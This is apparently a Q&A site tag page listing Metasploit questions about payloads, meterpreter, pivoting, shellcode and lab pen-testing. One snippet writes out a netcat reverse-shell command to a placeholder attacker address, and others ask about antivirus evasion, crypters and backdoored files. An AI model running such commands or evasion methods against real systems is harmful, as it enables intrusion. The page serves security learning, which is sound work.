Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

learn more… | top users | synonyms

10
votes
4answers
8k views

Browsing exploits with Metasploit console

Is there any way to browse certain exploits in MSFconsole? The show exploits command shows too many and I cannot find a way to show just Windows file format exploits, for example.
9
votes
4answers
1k views

Nessus Scan Port ID mapped to Metasploit Vulnerability exploits

My Question: Is there any sort of website that maps Nessus Scan IDs to Metasploit Vulnerabilities? My Situation: I'm learning about penetration testing and I'm beginning to get frustrated seeing a ...
8
votes
1answer
460 views

NOPS in Metasploit

Problem I do not know what a "NOP" is in Metasploit Framework or otherwise. What I do know MS Unleashed says, "Nops keep the payload sizes consistent." A few question posts mention buffer ...
8
votes
1answer
2k views

Detecting reflective DLL injection

In the past few years, malware (and some pen-test tools like Metasploit's meterpreter payload) have begun to use reflective DLL injection (PDF) to load a DLL into the memory of a process. The benefit ...
7
votes
3answers
2k views

Is it safe to install metasploit in my daily-used computer

I'm new to metasploit, and want to install it on my daily-used computer; but I'm not sure whether it is safe. Are there any best practices when using metasploit?
6
votes
6answers
6k views

Can you recommend a good book on Backtrack/Metasploit?

I have just downloaded Backtrack 5 R2 with Gnome and, while it looks cool, I don't really know where to start. I see it comes with Metasploit but, to be blunt, I still don't really understand what ...
6
votes
3answers
1k views

Disadvantages of metasploit Framework for windows

Are there any explicit disadvantages in comparison to running it on a UNIX machine these days?
5
votes
4answers
1k views

Techniques for Anti Virus evasion

What are some good anti virus evasion techniques when using ps_exec? As a pentester I often encounter situations where you can't, for one exploit a machine as they are running anti-virus software on ...
5
votes
4answers
976 views

Obtaining the IP address of a virtual machine to use Metasploit

I am beginning to learn Metasploit and, to play safe, am practicing it out on a virtual machine. The target machine, which is a virtual machine, is under NATing. How do I access it/ connect to it- ...
5
votes
1answer
601 views

What are the good resources for learning Metasploit?

Ok. I'm a newbiw (Script kidde) and I want to learn more about Metasploit. Not for fun, but to understand what exploits are, how they are used, and deployed. I've heard a lot about the Metasploit ...
5
votes
1answer
353 views

POC of a Java exploit using leftover JREs

Summary: I would like to show a proof of concept of a Java exploit using an old JRE on an up-to-date machine to cut short discussions on the "but we are patched so why removing older versions" ...
4
votes
1answer
687 views

Is it possible to execute a command on the local computer in meterpreter?

While running meterpreter handler, is it possible to execute a command on the local computer? That wasn't mentioned in the output of help command. I also tried !ls and to no avail. Is it possible ...
3
votes
2answers
589 views

Tools/methods helping to determine application/protocol serving specific port

I do blackbox testing of the server and figured out that there is a bunch of listening ports. I need to determine what services/protocols those ports are used for. What I've tried so far is to use ...
3
votes
1answer
227 views

Why is a separate reconnaissance server needed for DNS cache poisoning?

I'm trying to understand how Metasploit's DNS BailiWicked Host Attack module works. One of the required module options is a "reconnaissance" nameserver (option RECONS). What I understand from the ...
3
votes
4answers
509 views

Automating Metasploit attacks, is it possible to generate all (most) modules?

I work on creating signatures for all metasploit modules. I need to stimulate pretty much all the attacks (exploits) in metasploit without actually targeting a real victim (I don't think autopwn can ...
3
votes
1answer
675 views

Metasploit Get Shell Through NAT

Ok first of all this is legal and I have it in writing my friend and I are attacking eachother to get better and not break the law. Setup I have a VMWare image running BT5R3. It uses VMWare's NAT ...
3
votes
2answers
515 views

Shellcode that is smaller than 295 bytes that spawns a shell [closed]

Metasploit payloads produce more than 300-byte shellcodes. But I want my shell-spawning shellcodes to be less than 295 bytes. Can anyone show me the links to these shellcodes? Thanks.
3
votes
2answers
170 views

Encoding an Address that contains a null byte in a payload

I am working on an SEH exploit. the problem I am facing here that all POP/POP/RETN addresses end with null bytes, so everything placed after it gets corrupted. Is it possible to use Metasploit ...
3
votes
1answer
44 views

Metasploit Pivoting on loopback?

I'm pen-testing a Windows 7 machine, and have access to a limited remote shell. I can see there's a vulnerable SMB service running on the machine's loopback, but it's not available externally. Is ...
3
votes
1answer
435 views

Metasploit Wifi Modules Asking for lorcon2

I'm using Metasploit Framework for Wifi Exploiation, on Backtrack R2, but I'm getting this error: The Lorcon2 module is not available: no such file to load -- Lorcon2 But actually, I have installed ...
2
votes
1answer
134 views

Pentest — handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
2
votes
1answer
388 views

Resources for determining if Metasploit has exploit for given CVE

Are there any reliable resources for finding whether or not a Metasploit exploit exists for a given CVE? I have found CVE Details to be woefully out of date with regards to keeping this information ...
2
votes
1answer
307 views

Does Metasploit's packet sniffing run in promiscuous mode?

I'm doing an educational pen test exercise and I'm trying to sniff traffic from a compromised Windows machine. I've been using the post-exploitation sniffer and packetrecorder Meterpreter modules, ...
2
votes
1answer
1k views

Explanation of open ports

I've run metasploit against my web-server and it found several opened ports that I didn't know. Please note that I have a firewall and IPSec configured but they were disabled just for testing ...
2
votes
3answers
339 views

How to determine the size of payloads available in MetaSploit

I've noticed that there are a lot of different payloads to choose from in MetaSploit, and the choice (assuming there's enough room in the target) usually depends on what you're trying to do. However, ...
2
votes
1answer
630 views

How can I misuse the information of DCE service enumeration?

Nessus reports almost on any Windows machine "DCE service enumaration". With the metasploit module tcp_dcerpc_auditor I get the following information: 192.168.1.23 - UUID ...
2
votes
1answer
628 views

Airbase-ng & Metasploit the perfect pair

So if I am running an airbase-ng soft AP, I have several clients connecting to me. I can run metasploit against them once they are connected manually, but that is oh too much effort. Is there anyway ...
2
votes
0answers
22 views

Is there a way to get msfpayload to generate a regular cmd.exe reverse tcp shell? [closed]

It looks like msfpayload now generates a powershell-based payload when you pass it windows/reverse_tcp_shell. Is there a way to generate a regular cmd.exe reverse shell instead? Thanks!
2
votes
0answers
35 views

vsftpd metasploit evidence in logs?

We have a public ftp server that is being probed by the usual Chinese brute-force scans. They are probing vsftpd. Notmally a failed login to vsftpd looks like this in syslog: Mar 17 15:56:07 ...
2
votes
0answers
128 views

Need a little help with Metasploit and Java? [closed]

I'm a junior programmer and i was asked in my job to test java using metasploit... I followed this detailed environment: ...
1
vote
3answers
100 views

Exploiting through a filtered port

I'm doing some pentesting against a machine the lecturer set up in the lab. NMAP shows port 445 to be filtered and Nessus confirms the ms08_067 vulnerability is present on that machine. I tried ...
1
vote
2answers
786 views

How to test my website for the rails YAML vulnerability

I am quite puzzled by how to test my rails app for the YAML vulnerability first, I upgraded to the latest rails 3.2.11, and I tried this It gave me not likely to be vulnerable or URIPATH must be set ...
1
vote
2answers
520 views

About generating Exe files from Metasploit scripts

I'm a newbie to Metasploit framework. I want to create a standalone application (an exe file) exploiting MS08-067 vulnerability. Is that possible for me to have the application generated from ...
1
vote
2answers
163 views

Metasploit Development Reference

The Metasploit team provides some documentation on how to develop exploits, but other than looking through the sourcecode (which is annoying considering how much time I spend going from this file to ...
1
vote
2answers
123 views

How do arbitrary payloads execute on the remote machine?

I understand executing something like a reverse TCP bind via shell relies on resources being available on the victim machine... and in the case of running a, shall we say, Ruby script from the command ...
1
vote
2answers
328 views

Why wouldn't the reverse shell connect back using the same port that exploited the server?

The reverse shell payload from msf use a new port to connect back to the attacker, therefore if the target server has outgoing filters, attack would fail. i.e established server:ftp <-> ...
1
vote
1answer
31 views

Is it possible to use a .Net payload with metasploit?

I'm not exactly sure how metasploit works when exploiting a target machine, and it has been a while since of played with it, so forgive me. Instead of using meterpreter as a payload in metasploit, ...
1
vote
3answers
89 views

Documentation on Meterpreter Shells

I've been looking for some decent documentation on Meterpreter shells, but I can't seem to find anything useful. I would like to know when to use what kind of shell for a certain situation. All I ...
1
vote
1answer
810 views

Use Metasploit to exploit SMB through Conficker

I've got an SP0/unpatched Windows XP which is vulnerable to the Conficker worm. I'm using metasploit to use the Conficker exploit with the purpose of opening a remote shell/command line. My ...
1
vote
1answer
285 views

Metasploit Closing Connections?

Whenever I attempt to use an exploit (that I know will work) from Metasploit in Windows on a machine on my LAN, I always get the error Exploit exception: An established connection was aborted by ...
1
vote
0answers
42 views

Backdoor file with custom payload

Is there a way in metasploit to add a custom exe/script as payload to a file (exe/pdf/doxc)? I'm asking this in the context of a SE media dropping scenario, where a file when executed, sends data to ...
1
vote
0answers
20 views

msfelfscan with x64 support?

I'm trying to lookup all call rax instructions with msfelfscan, but %> msfelfscan -j rax /bin/ls Invalid register "rax" Was it not supported?
1
vote
1answer
224 views

Reverse TCP connection from exploited SearchIndexer.exe failing

I'm working on a tool that exploits SearchIndexer.exe on Windows 7 x86 and connects back to a metasploit multi/handler, using standard metasploit reverse TCP stagers. The exploit seems to function as ...
1
vote
1answer
688 views

on stack execution on windows 7 :: metasploit :: meterpreter :: executable crypter

I posted this on stackoverflow, was advised to move it to security section. I was writing an executable crypter as an exercise with goal of Antivirus evasion, now the problem is the final executable ...
1
vote
1answer
2k views

Backtrack 5 R2 & Metasploitable

I have configured the OpenVAS server as per wiki instructions: http://www.backtrack-linux.org/wiki/index.php/OpenVas And i ran the following commands: msfconsole load openvas openvas_connect admin ...
1
vote
1answer
238 views

Trying to reproduce a file upload compromise on Joomla

After telling my workmates and boss that we had a very critical lack of security controls, finally we got compromised! They had a Joomla 1.5 which was exploited using a file upload vulnerability. WSO ...
0
votes
2answers
1k views

Msf and exploitdb on Backtrack 5

Metasploit (msf) doesn't see exploits from exploitdb. I've just updated directory on my Backtrack cd /pentest/exploits/exploitdb svn update How can I load them now into msf? When i use a script ...
0
votes
2answers
267 views

can a backdoor executable be used on an occupied port?

Suppose I am doing a penetration test on a network that has a firewall that blocks all ports except 80, 110, and 443. I want to use a metasploit reverse-TCP backdoor executable written in msfpayload ...
0
votes
1answer
881 views

nessus scan against metasploit exploits

I am thinking about launching wide nessus scans (in the "IP range" sense) against exploits present in metasploit. The idea is to limit the number of plugins so that that the scan finishes in a ...
0
votes
1answer
67 views

veil framework, reverse https and tcp payload differences

i'm using veil framework to bypass av, when i want to choose a payload there are many choices, there is rev_https_contained , python/meterpreter/rev_https and c/meterpreter/rev_tcp my question is ...